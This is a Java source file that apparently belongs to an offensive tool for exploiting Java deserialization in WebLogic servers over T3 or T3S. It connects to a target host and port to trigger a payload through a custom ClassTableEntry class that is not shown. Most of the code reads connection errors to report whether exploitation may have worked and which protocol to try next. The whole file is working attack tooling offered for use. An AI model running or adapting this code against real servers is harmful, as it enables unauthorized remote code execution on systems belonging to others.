/* CustomClassTableEntryExploit.java v0.4 (10/23/2018) Class for executing java deserialization exploit against WebLogic Servers by way of a custom implementation of the weblogic.rjvm.ClassTableEntry class For T3S connections, JVM SSL/TLS settings (enabled protocol(s), disabling certification validation, etc.) must be configured BEFORE calling runCustomClassExploit method. */ package bort.millipede.wlt3; import java.util.Hashtable; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.CommunicationException; class CustomClassTableEntryExploit { static void runCustomClassExploit(String host,int port,boolean t3s,boolean verbose) { String protocol = "t3"; if(t3s) protocol = "t3s"; //set connection properties Hashtable<String,Object> env = new Hashtable<String,Object>(); env.put(Context.INITIAL_CONTEXT_FACTORY,"weblogic.jndi.WLInitialContextFactory"); env.put(Context.PROVIDER_URL,protocol+"://"+host+":"+Integer.toString(port)); //open connection and send payload Context ctx = null; try { ctx = new InitialContext(env); System.out.print("\b\b\b\bsucceeded!\n"); System.out.println("No Exception(s) thrown, exploitation may be successful!"); } catch(CommunicationException ce) { parseCommunicationException(ce,protocol,host,port,verbose); } catch(Exception e) { System.err.println("Unknown Error occurred ("+e.getClass().getName()+")!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); if(verbose) { System.err.print("\n"); e.printStackTrace(); } } finally { try { ctx.close(); } catch (Exception e) { //don't care } } } //parse output of expected javax.naming.CommunicationException thrown during attempted exploitation private static void parseCommunicationException(CommunicationException ce,String protocol,String host,int port,boolean verbose) { Throwable cause = ce.getCause(); if(cause!=null) { String eType = cause.getClass().getName(); switch(eType) { case "java.net.ConnectException": String message = cause.getMessage(); if(message!=null) { if(message.contains("Bootstrap") && message.contains("failed") && message.contains("remote side declared peer gone on this JVM")) { //exploit may have succeeded System.out.print("\b\b\b\b???\n"); System.err.println("\"peer gone\" error occurred, but this can be normal for \"CustomClass\" exploit method. Exploitation may be successful!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); } else if(message.contains("java.io.IOException: Empty server reply")) { //Server may not be WebLogic server System.out.print("\b\b\b\bfailed!\n"); System.err.println("Target Server/Port at "+host+":"+port+" does not appear to be running "+protocol.toUpperCase()+"! Target may not be a WebLogic Server!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); } else if(message.contains("java.net.ConnectException: Connection refused")) { //host is down or port is closed System.out.print("\b\b\b\bfailed!\n"); System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" refused! Target host appears to be down or port is closed!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); } else if(message.contains("javax.net.ssl.SSLHandshakeException")) { System.out.print("\b\b\b\bfailed!\n"); if(message.contains("handshake_failure")) { //SSL Handshake failed due to mismatched supported protocols System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed (Handshake Error)! Try a different SSL/TLS connection protocol!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); } else if(message.contains("Remote host closed connection during handshake")) { //SSL Handshake failed due to server not supporting encrypted connections System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed, Remote host closed connection during handshake! Target host/port may not be running an SSL/TLS service!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); } else { //SSL Handshake failed because server may only support clear-text connection System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed! Target host/port may not be running an SSL/TLS service!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); } } else if(message.contains("javax.net.ssl.SSLException: Unsupported record version")) { //T3S connection failed due to mismatched supported protocols System.out.print("\b\b\b\bfailed!\n"); System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed! Try a different SSL/TLS connection protocol!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); } else if(message.contains("javax.net.ssl.SSLException: Unrecognized SSL message, plaintext connection?")) { //T3S connection failed due to server not supporting encrypted connections System.out.print("\b\b\b\bfailed!\n"); System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed, Remote host closed connection during handshake! Target host/port may not be running an SSL/TLS service!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); } else if(message.contains("java.net.SocketException: Connection reset") && protocol.toUpperCase().equals("T3")) { //clear-text connection failed because server only supports encrypted connection System.out.print("\b\b\b\bfailed!\n"); System.err.println("Target Server/Port at "+host+":"+port+" forcefully reset "+protocol.toUpperCase()+" connection! Service may be running with SSL/TLS (use --t3s option)!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); } else { //Unknown Connection Error System.err.println("Unknown Connection Error occurred: connection failed"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); } } break; case "weblogic.socket.UnrecoverableConnectException": System.out.print("\b\b\b\bfailed!\n"); message = cause.getMessage(); if(message.contains("Login failed for an unknown reason") && protocol.toUpperCase().equals("T3")) { //clear-text connection failed because server only supports encrypted connection System.err.println("Target Server/Port at "+host+":"+port+" forcefully reset "+protocol.toUpperCase()+" connection! Service may be running with SSL/TLS (use --t3s option)!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); } else if(message.contains("Login failed for an unknown reason") && protocol.toUpperCase().equals("T3S")) { //encrypted connection failed because server only supports clear-text connection System.err.println("Target Server/Port at "+host+":"+port+" forcefully reset "+protocol.toUpperCase()+" connection! Target may not be a WebLogic Server!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); } else { //Unknown Unrecoverable Connection Error System.err.println("Unknown Unrecoverable Connection Error occurred!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); } break; default: //Unknown Connection Error System.out.print("\b\b\b\b???\n"); System.err.println("Unknown Connection Error occurred ("+eType+")!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); break; } } else { //Unknown Communication Error System.out.print("\b\b\b\b???\n"); System.err.println("Unknown Communication Error occurred!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); } if(verbose) { //print full stack trace output if --verbose option is set System.err.print("\n"); ce.printStackTrace(); } } }